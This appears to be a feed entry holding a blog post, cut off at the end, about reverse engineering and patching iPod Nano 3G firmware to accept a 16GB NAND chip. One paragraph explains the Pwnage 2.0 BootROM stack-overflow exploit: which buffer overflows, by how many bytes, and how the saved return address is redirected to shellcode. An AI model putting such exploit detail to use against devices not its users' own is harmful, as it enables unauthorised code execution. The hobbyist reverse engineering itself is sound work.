<?xml version="1.0" encoding="UTF-8"?><feed xmlns="http://www.w3.org/2005/Atom">
  <title>Cartero Feed (feed_target)</title>
  <id>http://localhost/</id>
  <updated>2026-09-26T09:46:31Z</updated>
  <subtitle>Content aggregation feed from Cartero</subtitle>
  <link href="http://localhost/"></link>
  <author>
    <name>Cartero</name>
  </author>
  <entry>
    <title>16GB iPod Nano 3G Upgrade</title>
    <updated>2026-09-24T12:58:54+09:00</updated>
    <id>hn_49826087</id>
    <content type="html"># 16GB iPod Nano 3G Upgrade&#xA;&#xA;2026-09-05&#xA;&#xA; **Watch the first video**&#xA;&#xA;I first had this project idea in April of 2020 at the beginning of the pandemic. I didn&#39;t really know how long it would be (the project or the pandemic) and I was curious why nobody had tried this before (the project, not the pandemic). At this point, I had no soldering experience, no reverse engineering experience, and while I&#39;d been working with software at some level since I was five years old, to this point I had very little hardware experience outside of working with Arduinos at a very &#34;Adafruit&#34; maker level. I didn&#39;t realize how big of a challenge this would be, mainly because I was learning everything from scratch. But now that it&#39;s done, I can confidently say that it was worth it. It took longer than it should have, but give me a break.&#xA;&#xA;## An Introduction To The Problem&#xA;&#xA;You&#39;ve probably seen some videos on YouTube of people upgrading the storage in their iPod Classics, pushing it to 1TB, 2TB, and 4TB (whereupon it fails, since it runs out of RAM to handle that many songs). While I wouldn&#39;t call the hard drive in the large iPods &#34;user serviceable&#34;, it certainly is compared to the NAND chips found in iPod Nanos, Shuffles, and everything else Apple makes now (with the exception of AirTags, I guess). I naively thought that swapping out the NAND chip in a Nano would be easy and it would simply Just Work™.&#xA;&#xA;I chose the iPod Nano 3rd Generation for two reasons. First, it&#39;s the newest revision of the Nano that has a NAND chip with legs (which was less out-of-my-league than BGA soldering but still out-of-my-league). Second, it&#39;s the Nano closest to my heart because it&#39;s the one I had growing up. I loved that thing. People loved their iPods - proven by the popularity of some Australian drummer and snake owner&#39;s YouTube channel about iPods that isn&#39;t actually about iPods because there is only so much content you can make about iPods.&#xA;&#xA;Taking apart any Nano is hell. It&#39;s possibly impossible to do it without destroying it. But, if you manage to get into the 3rd Generation Nano (which I will be referring to as the &#39;n3g&#39; from here on out), you immediately see the NAND chip.&#xA;&#xA;Desoldering it is easy enough with low speed hot air. Soldering it is less easy. The first few iPods were done by my good friend Wesley in his garage.&#xA;&#xA;&#34;This is it,&#34; I foolishly thought as I held the camera waiting to see that blessed 16GB in the &#34;About&#34; section of the iPod UI. But no. What we got instead was the dreaded Red X.&#xA;&#xA;## The Red X&#xA;&#xA;Standing in Wesley&#39;s garage, I thought this meant &#34;this chip is unformatted, where&#39;s my operating system?&#34; which made sense to me. I tried recovering the iPod and found that iTunes couldn&#39;t even see it. Wesley has experience in embedded electronics, and explained that usually there&#39;s some sort of table of acceptable NAND in the firmware and, if the chip isn&#39;t found in that table, it just stops. I went back home determined to figure out what was going on and mod my way into getting this thing to work. How hard could it be? I just have to find the table and patch it out with the details of the NAND chip, right?&#xA;&#xA;My first discovery confirmed Wesley was right. I found a similar table in Rockbox&#39;s n2g port:&#xA;&#xA; `struct nand_device_info_type&#xA;{&#xA;    uint32_t id;&#xA;    uint16_t blocks;&#xA;    uint16_t userblocks;&#xA;    uint16_t pagesperblock;&#xA;    uint8_t blocksizeexponent;&#xA;    uint8_t tunk1;&#xA;    uint8_t twp;&#xA;    uint8_t tunk2;&#xA;    uint8_t tunk3;&#xA;} __attribute__((packed));&#xA;static const struct nand_device_info_type nand_deviceinfotable[] =&#xA;{&#xA;    {0x1580F1EC, 1024, 968, 0x40, 6, 2, 1, 2, 1},&#xA;    {0x1580DAEC, 2048, 1936, 0x40, 6, 2, 1, 2, 1},&#xA;    {0x15C1DAEC, 2048, 1936, 0x40, 6, 2, 1, 2, 1},&#xA;    {0x1510DCEC, 4096, 3872, 0x40, 6, 2, 1, 2, 1},&#xA;    {0x95C1DCEC, 4096, 3872, 0x40, 6, 2, 1, 2, 1},&#xA;    ...and a lot more...&#xA;};`&#xA;&#xA;This table had to come from somewhere, obviously, so I needed to find where the n3g&#39;s version was in its firmware. It turns out an almost identical table shows up in several places across the n3g firmware. After doing some research and talking to some people in the Rockbox IRC channels, I inherited some half-done reverse engineering work from some developers who, years prior, were trying to port Rockbox to the n3g. This included the Rockbox bootloader and led to my very first success in getting code to run on the iPod. I knew code execution would be the first real hurdle, and the fact that someone had already done this was a huge step in the right direction.&#xA;&#xA;The Rockbox bootloader uses the Pwnage 2.0 exploit to run code. You can read more about it here and here, but it&#39;s basically a stack-overflow exploit targeting a bug in the ASN.1/DER certificate parsing logic of early Apple S5L8xxx BootROMs. Because the entire certificate chain parsing context ( `der::chain::parse_ctx`) is allocated on the stack, and the saved link register (LR) sits at a known offset just past the end of that structure, an attacker can craft a malicious last certificate whose oversized signatureValue overflows the buffer by 344-345 bytes, overwriting the saved LR with an attacker-controlled address. The attacker can place arbitrary executable shellcode there, and the overwritten return address simply redirects execution to that payload, achieving full unsigned code execution at the BootROM level. Once you can run code, you can see and dump code.&#xA;&#xA;The first piece of the firmware we have to touch is what I refer to as the EFI bootloader because that&#39;s exactly what it is. I was sort of shocked when I saw this - I always thought EFI (and UEFI, but don&#39;t expect Apple to do anything U) was primarily for computer bootloaders. I guess Apple was full-steam-ahead on EFI in the Apple TV, Macs, and who knows what else, so it makes sense. Still, it felt heavy for something like this and, what&#39;s more, it made static analysis somewhat harder.&#xA;&#xA;The NAND table in the EFI exists in the NAND driver. I know, shocking, but we can follow the codepath to the spot that identifies the chip ID and from there I found the NAND driver&#39;s initialization routine. Basically, during initialization, the NAND driver checks the IDs of the banks of NAND, initializes some buffer memory, the VFL, the FTL, and then opens both of them. It was obviously breaking at step 1, so I swapped out the ID and geometry in the table for the chip that I had.&#xA;&#xA;In the early days, my patching methodology was very annoying. The Rockbox bootloader was capable of reading and writing from NOR flash. Every time I wanted to try a patch out, I had to follow these horrible steps:&#xA;&#xA;1. In a hex editor, write the patches I want to try by changing bytes. Save it.&#xA;2. Using UEFITool, replace the NAND driver PE32 binary with mine. Save it.&#xA;3. Run it through a binary diff algorithm I made for this purpose but it&#39;s probably not very efficient.&#xA;4. Compile that into the Rockbox bootloader.&#xA;5. Upload and run the Rockbox Bootloader which loads the EFI from NOR and unpacks the diff&#39;s bitstream on top of it, then writes the modified EFI back to NOR.&#xA;6. The bootloader then boots NOR and I watch for my patch.&#xA;&#xA;This process was horribly manual and not very fun. To further complicate things, I was keeping track of my patches in an Excel spreadsheet. Pain.&#xA;&#xA;Changing the NAND Table&#39;s parameters didn&#39;t help. I was still getting the dreaded Red X. That image is called `bdhw` in NOR. Bad hardware. So it still wasn&#39;t happy. I wasn&#39;t sure why. I needed some sort of introspection. The EFI really doesn&#39;t export anything user-visible. The image it shows, I guess ( `bdhw`, `bdsw`, `lbat`, etc.), but that&#39;s not coming from within the NAND module. So I had two tools up my sleeve.&#xA;&#xA;### Tool 1: Spinning&#xA;&#xA;This one is barely worth a paragraph so I&#39;ll be brief: I was able to bisect code paths by adding a `b .` at one branch of a conditional to see if the iPod froze or not. Very cool, very standard. Nothing special about that.&#xA;&#xA;### Tool 2: Exfiltrating Data Through The Diagnostic Mode&#xA;&#xA;This one is more interesting. At first, I thought the EFI had no sort of output, it just loaded everything up, showed a boot splash, and then jumped to the binary it was supposed to load. Early on, I figured the answer to &#34;how does the iPod know about its NAND&#34; could be easily found in diagnostic mode&#39;s NAND LBA field. But when I looked into it, it seemed to be reading the value from somewhere magical. It would find something in memory - `&#34;sysI&#34;` \- and grab a value at an offset and show it. Diagnostic mode does not deal with NAND itself. So it must be getting passed that information from somewhere, right?&#xA;&#xA;After some more investigation, I discovered that I was looking at the System Information Table. The EFI builds this across several modules and passes it along to the binary it loads. The table includes everything from SysCfg (like serial number, model number, etc.), RAM information, and crucially the NAND LBA count. This part of the table gets created in the NAND driver&#39;s entry point after driver initialization. The initialization code returns the calculated NAND LBA count, but what if we bubbled something else up out of there. We&#39;re not actually initializing NAND, so maybe we can smuggle some data out of there, four bytes at a time?&#xA;&#xA;Through a series of patches, this is what I did. The proof of concept for this patch was to smuggle out the NAND ID. That&#39;s what&#39;s shown in the picture above. This proved that the iPod was actually able to communicate successfully with the NAND chip. Through a combination of Tool 1 (conditional spin-lock) and Tool 2, I was able to find why at this point the NAND driver was failing to initialize.&#xA;&#xA;### Why The Driver Was Failing To Initialize&#xA;&#xA;When the iPod comes across a virgin NAND chip, it tries to &#34;production format&#34; it. This involves setting up VFL and FTL structures. This part was failing, and I wasn&#39;t sure why. I bisected my way through the production formatting path and found that it ended up in a failed `memcmp` within a function that writes the very first VFL structures. It erases the block, writes the structure (in this case, a driver signature), and reads it back to verify that it made it to NAND. The failing `memcmp` causes it to retry a few times before giving up and returning failure, halting the format, boot, and resulting in `bdhw`.&#xA;&#xA;Through smuggling data out four bytes at a time through NAND\_SPEC, I found why it was failing: the verification read was all `FF` as if the chip hadn&#39;t been written. At this point, it was unclear if the entire write was failing or just the first four bytes, but it made the most sense that the entire write was failing. But why?&#xA;&#xA;## The FMISS Layer&#xA;&#xA;This is a little bit of an aside because at this point I went down a massive rabbit hole that truly helped me understand the NAND peripheral and how it actually works with the NAND chip itself. I was expecting to see reads and writes to a NAND peripheral with addresses, commands, all sorts of stuff. Instead, what I saw was something passing a binary blob and a bunch of parameters and saying &#34;go&#34;. So, what is this?&#xA;&#xA;I&#39;m not sure what it&#39;s actually called. I&#39;ve seen it called FMISS, I&#39;ve seen it called FIL, I&#39;ve seen it called CS (code sequencer). It might be all of these, it might be none of these. It&#39;s a coprocessor that runs bespoke bytecode (or microcode? not sure on definitions here) that offloads the act of interacting with NAND. It&#39;s not used in any other way and it&#39;s in the same address space as the direct FMC itself so it&#39;s definitely intended to be used with NAND. Either way, it has its own ISA and figuring out what it did was probably the most satisfying part of this whole project (besides getting the final product to work).&#xA;&#xA;You can read about the exact instruction set here, but I think it&#39;s more prudent here to talk about how I actually figured out how it works. I think I just made the right number of leaps to get to a mostly-working understanding of everything.&#xA;&#xA;My ground truth was a leaked data sheet of the S5L8700X which is an older chip closer to one found in an n2g. I pored over the NAND section and found no such reference to FMISS or a state machine or anything like that. But what I did find were register definitions (outdated but somewhat helpful) and step-by-step sequences for how developers should write NAND functions. I was really beating my head against the wall for a while asking myself &#34;how does the iPod write commands to the NAND chip?&#34; For example, the READ ID command - `0x90` \- never shows up in the ARM code. So it must live in the bytecode, right?&#xA;&#xA;It does. By looking at the Read ID program and the Read Page program, I was able to find those command bytes and I also found there were four bytes preceding it each time. This revelation showed me the basic structure of the bytecode. It was clear that each &#34;instruction&#34; is 64 bits and organized in a weird endianness. I wrote a small C program to just `printf` the instructions it knew about so I could fill in the gaps with parts of the process that made sense.&#xA;&#xA;It was basically `objdump` for this bytecode. At first, almost every instruction was &#34;unknown&#34; but as I cross-referenced with the &#34;how do you NAND?&#34; instructions in the datasheet, I was able to pull apart more instructions. The register map was also somewhat helpful because I could tell where in the sequence I was and how much more to expect. I&#39;m particularly proud of how I discovered branching and jumps in the bytecode because loops are heavily used in these programs.&#xA;&#xA;At some point, I was modifying the firmware to confirm my guesses. I replaced the Read ID microcode with my own and saw the results in the NAND\_SPEC test results. I was able to write an assembler and disassembler for the bytecode (nothing fancy, just smart enough to produce readable code, I guess). I got about 90% of the way to a complete documentation of this state machine&#39;s instruction set. q3k corrected some of the finer points, and together we wrote the FMISS emulation into QEMU. More on that later.&#xA;&#xA;The good news is also the bad news: this had nothing to do with my problem. Understanding the FMISS layer may have been important in an indirect way, but I probably could have completed this project without ever going down this path. That said, I think it was worth it just for that: I&#39;m not sure I&#39;ll ever get another excuse to reverse engineer an undocumented instruction set. It was quite satisfying.&#xA;&#xA;This is where the first video I posted ended. Check the scroll bar, we have a long way to go.&#xA;&#xA;## Waves&#xA;&#xA;With that digression out of the way, I was now stuck with only one way forward: what&#39;s actually happening on the NAND bus? Is there some weird thing happening that this chip doesn&#39;t support? I tried to go about this in numerous ways, but the only thing that gave me a reliable signal capture was using a data recovery spider board:&#xA;&#xA;I attached this to a DSLogic U3Pro32 and started looking at what was actually occurring over the wire. And what I found was disappointing but not surprising:&#xA;&#xA;Not surprising because this is exactly what the code says it does, disappointing because I&#39;m not sure why it&#39;s doing it. The NAND is outright rejecting page programs. That&#39;s odd. I traced through the signals to see if it was issuing strange read/write commands and no, they&#39;re your standard commands. It&#39;s almost as if the chip is write protected or something.&#xA;&#xA;Is the chip write protected?&#xA;&#xA;Unbelievably, the `WP#` leg on the NAND was not attached to the pad. It wiggled like a loose tooth. So I soldered it down and, of course, it got further. But not that much further. It&#39;s able to write and verify until, like, page six. Okay, now what?&#xA;&#xA;## Just a Bit More&#xA;&#xA;The first six pages were writing beautifully. But then we hit page six and, much like the publication, it was useless and full of noise. I know NAND is prone to bitflips but this was bad.&#xA;&#xA;I also replicated this behavior across a few of the same chips. Is this an insane number of bitflips? I didn&#39;t know then, but I know now: this is not an insane number of bit-flips for MLC NAND. But why does this pattern start on Page 6?&#xA;&#xA;This confusing and unrelenting pattern led to my first burnout when I turned my attention to adding fully digital Bluetooth to the n3g. But, as always, I crawled back to this project for more pain.&#xA;&#xA;My friend, Cooper, used to work for one of the big NAND manufacturers and gave me his manager&#39;s email address. His manager explained exactly what was happening and why. NAND stores data as trapped charge across a huge array of cells. In Single Level Cell NAND, each cell holds one bit: an empty cell reads as a 1, a charged cell reads as a 0. Fresh from the factory every cell is empty, so every bit is a 1. &#34;Programming&#34; selectively pushes charge into cells to turn them into 0s, and the only way back to 1 is erasing the whole block.&#xA;&#xA;Multi Level Cell (MLC) NAND is the next step. Throwing more cells at the density problem gets expensive - the physical device grows large and complicated - so instead we pack two bits into a single cell. Define four voltage levels, assign each a two-bit value, and now one cell holds two bits.&#xA;&#xA;You might already see the problem here: with four levels crammed into the same range, the margin for a misread shrinks. The first bit is easy to decide - its margin is wide - while the second bit is far tighter. That&#39;s the trade-off behind MLC, TLC, QLC, and beyond: you need smarter error correction to handle the bitflips and the tighter margins, but the chips stay &#34;cheap&#34; while storing enormous amounts of data.&#xA;&#xA;That explains the noise, but not the pattern. The two bits in a shared cell don&#39;t belong to the same page - they&#39;re the nth bit of two different pages, and the datasheet tells you which pages are paired. On this chip, pages 0 and 6 share cells. The easy first bit goes to page 0, so it reads clean. Page 6 rides on the tight second bit, so it comes back noisy.&#xA;&#xA;This left me with two choices. I could either figure out how to beef up the error correction calculations done on the iPod, or spend the money and get the expensive SLC chip. I opted to kick the ECC can down the road and swapped the chip on a fresh iPod with a 16GB SLC chip and of course it worked. The EFI was able to format the chip successfully and we made it to disk mode!&#xA;&#xA;So that&#39;s it, right? I just have to patch disk mode in the same way and I get a 16GB iPod Flash Drive! No. No, that&#39;s not what happened. Disk Mode is complicated. It&#39;s basically a stripped down version of the iPod&#39;s full operating system - both are based on a real-time operating system called RTXC. So it was back to the drawing board to figure out what was going on.&#xA;&#xA;The iPod speaks SCSI over USB, and the SCSI &#34;READ CAPACITY&#34; command returns the number of blocks and the size of the blocks for the device. Disk mode&#39;s capacity math works out how many logical blocks the device has by dividing the logical block size by the NAND page size and scaling by the page count. On every chip Apple ever used in the n3g, that ratio is a sensible whole number - a 4096-byte page gives 1, a 2048-byte page gives 2. On an 8192-byte page like the new NAND has, it computes `4096 / 8192 = 0`. That zero then lands in two different places, each failing differently. The page converter multiplies by it, so every request becomes &#34;zero pages.&#34; And the capacity math divides by it, which faults outright - a data abort, a panic, a reset, and a boot loop.&#xA;&#xA;So I patched it to calculate the ratio off of 8192 without really knowing what it did because that&#39;s the change that made the crash stop. With that, the device came up but it never mounted anything. I heard the &#34;something is plugged in&#34; Windows chime (don&#39;t worry, I was developing in a Linux VM) but it never went beyond that. So I looked to `dmesg` and found:&#xA;&#xA; `sd 2:0:0:0: Attached scsi generic sg0 type 0&#xA;sd 2:0:0:0: [sda] Unsupported sector size 8192.&#xA;sd 2:0:0:0: [sda] 0 512-byte logical blocks: (0 B/0 B)&#xA;sd 2:0:0:0: [sda] 8192-byte physical blocks`&#xA;&#xA;This one stumped me for a good, long time. It led to my second burnout, wherein I focused my efforts on QEMU and other rehosting projects for the iPod, and also repurposing the iPad 3rd Generation into a touch screen you can plug in and use with any computer. I have a strange way of stepping away from projects.&#xA;&#xA;## Rehosting&#xA;&#xA;I want to digress again and talk about my rehosting efforts since they pay off later in the story. There are two avenues I pursued basically in parallel:&#xA;&#xA;### Full Emulation&#xA;&#xA;I thought it would be cool and useful to get an iPod fully emulated. That way I could get some dynamic analysis and stop with the painful bisection methods above.&#xA;&#xA;My first emulator used the Unicorn Engine. It was able to make it all the way through the BootROM (so SPI and GPIO were basically working) and most of the EFI, but it was hilariously slow because it was emulating every instruction one by one. Then devos50 published his QEMU fork emulating the first-gen iPhone, so I forked it and went in. I knew QEMU was the right choice from the start but it was a bit intimidating to start from scratch implementing, well… everything, because I wasn&#39;t sure how to write QEMU code. Seeing the diff between his work and the base he forked from gave me confidence that I could do it too, so I dove in. And it was doing pretty well. Big breakthroughs at first were the I2C peripheral, the hardware JPEG decoder, and the FMISS instruction set in the NAND peripheral.&#xA;&#xA;Later, a member from the iPod Nano Discord server named Iscle forked a more modern QEMU version to build an iPod Classic emulator. We&#39;re working on emulating the same chip, and his project layout didn&#39;t inherit the strange organization of devos50&#39;s fork, so I ported my nano-specific work over. I pushed it further and it now boots disk mode and RetailOS and enumerates over USB/IP, so you get a virtual iPod virtually attached to your machine. There are still a massive number of things that don&#39;t or will never work, but for the 16GB project, it&#39;s basically sufficient. It certainly helped with the below efforts. Here&#39;s that project.&#xA;&#xA;### User Space Emulation&#xA;&#xA;Perhaps a more novel approach to dynamic analysis was just running the NAND driver in Linux Userland. I thought of several ways to do this, but I figured the easiest way to do it was to load the NAND driver from the n3g&#39;s EFI bootloader into memory and just jump into it. I&#39;d patch out the parts where it actually calls FIL functions that talk to the NAND, and then boom, I&#39;d be able to initialize it and `FTL_Read` forever and ever.&#xA;&#xA;I targeted the Raspberry Pi (3b+ in my case) because it&#39;s a 32-bit ARM CPU just like the iPod so it should just run the code the exact same way. It did, which is cool, but I ran into some very interesting issues. Here are the highlights:&#xA;&#xA;1. I&#39;ve never dynamically allocated memory that I later planned on executing from, so I had to learn to do that. `mmap` with `PROT_EXEC` was the answer.&#xA;2. A lot of variables in the NAND driver are statically allocated and there are too many references across it to reliably patch them all. So I made `mmap` give me specific addresses with `MAP_FIXED`. It&#39;s definitely a code smell, but the kernel doesn&#39;t seem to mind. I also did this for the NAND peripheral region ( `0x38A00000`) because some functions write directly to these registers in ways we don&#39;t care about.&#xA;3. I patched the pointers to the FIL functions so I could step in and supply any data I needed (and log/instrument/otherwise observe what was actually happening without thinking of the complexities of the FMISS layer).&#xA;4. I patched the pointer to the memory allocation service so it&#39;d just use regular `malloc`.&#xA;5. Patched some other function pointers so they didn&#39;t point to inaccessible memory regions.&#xA;&#xA;And then I called the driver init function which is conjured from a pointer. After I got that to work, `FTL_Read` also worked (just kidding there were many more segfaults at first but what&#39;re you gonna do?). I dumped the entirety of the NAND sequentially counting up FTL pages until `FTL_Read() != 0`.&#xA;&#xA;Later on I got this working on `qemu-arm` so I didn&#39;t need a Pi, and also got the driver from Disk Mode working which is very useful because that driver has all of its log messages intact. So I replaced its internal log buffer with calls to `printf` and got some good insight into the inner workings there as well. But the big thing this did for me that I cannot overstate enough: it showed me that this project was possible. By feeding it geometries of 16GB chips and watching it format and use the virtual NAND properly… it&#39;s what actually made me continue working on it. And here&#39;s that project.&#xA;&#xA;## A New Approach&#xA;&#xA;Back to our regularly scheduled program. So far, my plan had been to replace the relevant 4096 values with 8192s. I was truly approaching this with trial and error, trying to find some permutation of replacements that didn&#39;t break everything. I never found one. It would either crash, or it would log, mockingly:&#xA;&#xA; `sd 2:0:0:0: [sda] Unsupported sector size 8192.`&#xA;&#xA;Pretty clear what&#39;s happening here, but why is a power of two unsupported? The answer is that 4096 is the cap of what Linux (and I think every OS?) is willing to handle. It would never matter how internally consistent I made the firmware. It&#39;s gotta be compatible with the computer you plug it into, and 8192 is not. This left three options:&#xA;&#xA;IdeaVerdictAJust use 8192 and patch the kernel to support itWould make the iPod Linux-only - the only platform with a path to native support - and also I have no idea how.BFind a 16GB NAND with a 4096-byte pageI don&#39;t think this actually exists, and if it did I&#39;d be paying the GDP of a small nation to get it.CReport 4096 over SCSI, use 8192 in the NAND driver, translate in betweenSpoiler alert: yes this will work&#xA;&#xA;The very simple thought that took too long to hit me: the logical block does not have to be the physical page. An 8192-byte page is exactly two 4096-byte blocks. So let the entire rest of the firmware go on living in the 4KiB world it was designed for, and put a translator at the single point where requests cross from that world into the chip:&#xA;&#xA;4 KiB logical blocks&#xA;&#xA;(our code)&#xA;&#xA;8 KiB physical pages&#xA;&#xA;Logical block numbers are divided by two ( `n &gt;&gt; 1`) \- we return the lower half if `n` is even and the upper half if it&#39;s odd. Writes are the same arithmetic plus a read-modify-write, because you can&#39;t program half a page. To change one 4KiB block you fetch the 8KiB page it lives in, splice your half into it, and write the whole thing back. That costs an extra read on partial writes and roughly doubles write amplification on small random ones. It&#39;s not great, but it&#39;s basically our only option.&#xA;&#xA;But the point of this patch is that nothing above or below the bridge changes. The USB stack, the SCSI layer, the command handlers, the transfer executors remain mercifully untouched. This half-page approach brought structure back to this project and kept it from being an endless permutation hunt of &#34;what bytes break everything?&#34;&#xA;&#xA;## Patching Disk Mode&#xA;&#xA;While all of my efforts prior to &#34;A New Approach&#34; truly focused on the EFI layer, I think working in Disk Mode is easier for a number of reasons:&#xA;&#xA;1. It has logging&#xA;2. It&#39;s based on RTXC which sounds horrible to work with and, yeah, it was, but I&#39;m getting the complexity out of the way first - RetailOS is also based on RTXC.&#xA;3. It&#39;s not as complex as RetailOS while still having a very testable &#34;is it a flash drive?&#34; goal.&#xA;&#xA;Here are the stories and patches that make up Disk Mode and where the bulk of the work was:&#xA;&#xA;### Another Block In The Wall&#xA;&#xA;The translator, as shown in the embarrassingly simple diagram above, has to sit below everything that speaks in logical blocks (the USB plumbing, SCSI command dispatcher, probably some others like firmware update routines?) and above everything that speaks in physical pages (the FTL).&#xA;&#xA;I struggled for a while to follow the rainbow of pointers and indirection, but I landed in a function pointer table hanging off each logical unit with pointers pointing to functions to read, write, get block size, get capacity. One layer further down, I found where the conversion actually happens:&#xA;&#xA; `ratio = 4096 / pageSize&#xA;lpn   = ratio * sector&#xA;count = ratio * count`&#xA;&#xA;Apple&#39;s own 4KiB-sector-to-FTL-page converter handles every chip whose page is _smaller_ than a sector - a 2048-byte page gives ratio 2 and the multiply does the right thing. My chip needs a ratio of ½, so it computes zero, and then multiplies the count by it. It&#39;s the same song and dance as before.&#xA;&#xA;The translator, however, only handles data. Three other things have to agree with it:&#xA;&#xA;1. **Report the right block size.** The block size function returns the raw hardware page size out of the device structure, and `READ CAPACITY` hands that number to the host unedited - this is where 8192 was escaping into `dmesg` in the first place. It now returns 4096 unconditionally. Two instructions: load a constant, return.&#xA;2. **Fix the capacity math that was crashing.** The capacity path is the place that _divides_ by the ratio, so with the ratio stuck at zero this path divides by zero, which is always a bad time. The ratio is now known and fixed, so the whole computation collapses to a shift: logical block count is page count times two. Load, shift, store, then four no-ops where the division used to be.&#xA;3. **Report the right number of blocks.** There&#39;s a separate path that answers &#34;how many blocks do you have,&#34; used to range-check incoming requests.&#xA;&#xA;Shockingly, the third one was the hardest. For some reason, it would return &#34;five blocks&#34; on a chip whose geometry the FTL had otherwise worked out correctly. I never did get a satisfying explanation for that. I decided instead to compute the capacity directly from the FTL&#39;s own geometry structure: user page count × 2 - a reserve off the top. The reserve is there because the geometry figure is gross rather than net. The FTL keeps a slice of the top of the chip for itself for internal purposes, so the highest pages the geometry claims to have aren&#39;t actually usable.&#xA;&#xA;I shaved 32,768 pages - 256MiB - off the top and kept it because it worked. That number is empirical, not a guess: at 2,048 pages the failures came back, reaching 2,107 pages down from the top of the chip. So the reserve is at least ~16.5MiB, I verified 256MiB and left it that way. I might be able to shrink it, but I&#39;m happy with &#34;it boots.&#34;&#xA;&#xA;### Finding a Home for the Patches&#xA;&#xA;Now I needed somewhere to actually put this translator, which is a problem because generally in binaries, compilers pack things together when they can because it just makes sense to do it that way. I went looking for a stretch that was already empty - not &#34;probably unused,&#34; but actually verified nobody reads it or points at it. I did eventually find one and put my code there.&#xA;&#xA;The patching itself ended up being simple. For each hook I either replaced the function&#39;s entry or planted a branch mid-function. ARM branches reach ±32MiB so this is one instruction, no relocation math needed. And since I&#39;m only touching the first instruction, the rest of the original function is unreachable. Maybe it would have been better form to just replace the function wholesale, but I didn&#39;t. It ended up being a decent thing to do so I could refer back to the original implementation later.&#xA;&#xA;While I was in there I also grew disk mode&#39;s memory allocation pool. This had nothing to do with the 4K/8K translation, it&#39;s just that with an 8KiB page (and a lot more of them) you need more RAM to keep track of it all. Six spots got bumped to larger constants and the FTL finally had room to work with.&#xA;&#xA;Two things I learned while working with the patches:&#xA;&#xA;First, the scratch page has to play by the SoC&#39;s rules. My read-modify-write needs somewhere to stage a full 8KB page, and that page is a DMA target, so I couldn&#39;t just grab an address in RAM and hope for the best. What I had to do was ask the firmware&#39;s own allocator for a buffer so it would be guaranteed to be usable. I also had to use the uncached memory alias address for it. This might make things slower, but it also makes them correct and I don&#39;t think about freshness of data.&#xA;&#xA;Second, I disabled another speed thing for simplicity. Disk mode&#39;s SCSI stack has two ways of ingesting data: the easy one that fills one buffer over and over again, and a smarter one for big requests that ping-pongs between two buffers so the chip and USB controller are both busy at once. I worried this would cause a lot of issues trying to get the translator right, so I took it out. There is a performance hit, but it only slows the firmware transfers and disk-mode operations a little bit, so I&#39;m not losing sleep over it.&#xA;&#xA;### Erasing Planes&#xA;&#xA;Everything up to now has been about mapping the math from one world to another. Now we can move on to a completely different class of problem: chip structure.&#xA;&#xA;The chip&#39;s structure is encoded in the device information table that we&#39;ve modified. The firmware believes the NAND chip is organized in blocks of 256 pages. The chip actually has blocks of 128 pages, arranged in two planes, and the plane is selected by a single bit in the row address. So what the firmware calls one block is really two physical blocks side by side.&#xA;&#xA;For some reason, the write path programs both planes. It walks pages 0 through 255 of a &#34;block,&#34; and pages 128 and up land in plane 1 because of that address bit. The erase path issues one erase command with that bit clear. Plane 0 gets erased, plane 1 does not.&#xA;&#xA;On a virgin chip you&#39;d never come across it because plane 1 is blank. However, when the FTL goes to recycle a block it thinks is clean, half of its block never gets erased. The first half of the block ends up on plane 0 which is erased and ready to take new data. However, the second plane never got erased, so the chip either rejects the write because you can&#39;t overwrite data in NAND without erasing, or it does try to write it and you end up with some weird intersection of what was there and what you meant to be there because NAND can only write zeros. The FTL then reads back its own metadata and finds a logical page number that belongs to something else.&#xA;&#xA;The fix is exactly as easy as you think it is: just erase twice.&#xA;&#xA; `erase(row) # plane 0 erase&#xA;wait&#xA;if plane 0 succeeded:&#xA;    erase(row | plane_bit)  # erase plane 1&#xA;    wait`&#xA;&#xA;The implementation is less of a joke, because the erase isn&#39;t a single instruction, it&#39;s a whole invocation of an FMISS program. Running the same erase a second time means putting those registers back the way they were, setting the plane bit in the row buffer, and re-starting the bytecode program. Then the trampoline branches back into the original function, so the firmware&#39;s status check and return run exactly as before.&#xA;&#xA;### When An Erased Page Isn&#39;t&#xA;&#xA;The driver reads a page in chunks, and for each chunk the engine recomputes the syndrome/checksum/whatever, corrects what it can, and returns a verdict: clean, corrected, or uncorrectable. Uncorrectable means the data is destroyed. The driver believes it, because on a healthy chip it&#39;s true. I _think_ this is a function of being a page size twice as large as the ECC engine expects, and I think that has to do with how it&#39;s configured.&#xA;&#xA;The hardware has a &#34;this page is blank&#34; indication, and at smaller page sizes it works. At 8KiB it never gets set. So the ECC verdict is the only signal left, and for a perfectly healthy empty page it&#39;s wrong. This is bad because everyone asks &#34;was this page readable?&#34;, gets told no, and each does its own thing with that answer. The bad-block scan marks good media bad. Garbage collection treats the page as dead and stamps it. They&#39;re doing the right thing with the wrong data.&#xA;&#xA;The fix is to treat the per-chunk status as a lie, but still use the page-level verdict to decide when to look at the data. That&#39;s a sufficient answer, I think, because the garbage pattern isn&#39;t random. The ECC engine&#39;s deterministic mangling of a large all- `0xFF` page is identical every time, and recognizing the first eight bytes is enough. There&#39;s the tiniest chance that this introduces an edge case of an edge case of an edge case, but those chances are, like, one in eighteen quintillion. If it ever happens, I&#39;ll buy a lottery ticket.&#xA;&#xA;The scrub fixes reads, but the FTL garbage collector has its own check. It treats an unreadable page as dead - stamping it with its own &#34;this page is dead&#34; marker so nothing touches it again. Under the poison bug, blank pages read as unreadable, so GC was marking erased space as bad. The collector&#39;s check needed the same patch: a page that &#34;failed&#34; only because it&#39;s blank isn&#39;t bad.&#xA;&#xA;One thing I didn&#39;t expect: &#34;erased pages read back as poison&#34; turned out to be a property of the driver, not the chip. The EFI&#39;s copy of the same driver configures the ECC engine differently, and on that read path erased pages come back as clean `0xFF` with a blank verdict. Same silicon, different firmware, different truth. The ECC is a black box to me and I haven&#39;t really pulled apart what the configurations mean. That can be future Tucker&#39;s someone&#39;s problem.&#xA;&#xA;This fix is validated on hardware and only on hardware. The emulator has no error-correction engine - its NAND peripheral model knows exactly two answers, &#34;good&#34; and &#34;blank&#34;, and is structurally incapable of saying &#34;uncorrectable&#34;, so the bug literally cannot exist there and there is nothing to test against. The two-plane erase, by contrast, is reproducible in emulation (in both QEMU and in the userspace harness): on a modeled plane-split chip, the fix doubles the erase count (7,796 operations stock, 15,592 patched) and takes plane coverage from zero to all of it. But the ECC fix? I&#39;d rather keep it as much of a black box as possible.&#xA;&#xA;## How An iPod Puts Itself Back Together&#xA;&#xA;It&#39;s a little odd that I started from disk mode and worked my way out. Before my &#34;new approach&#34; I was working on the EFI, but once I made it through to Disk Mode I sort of abandoned it, stubbed out NAND things so it&#39;d make it to disk 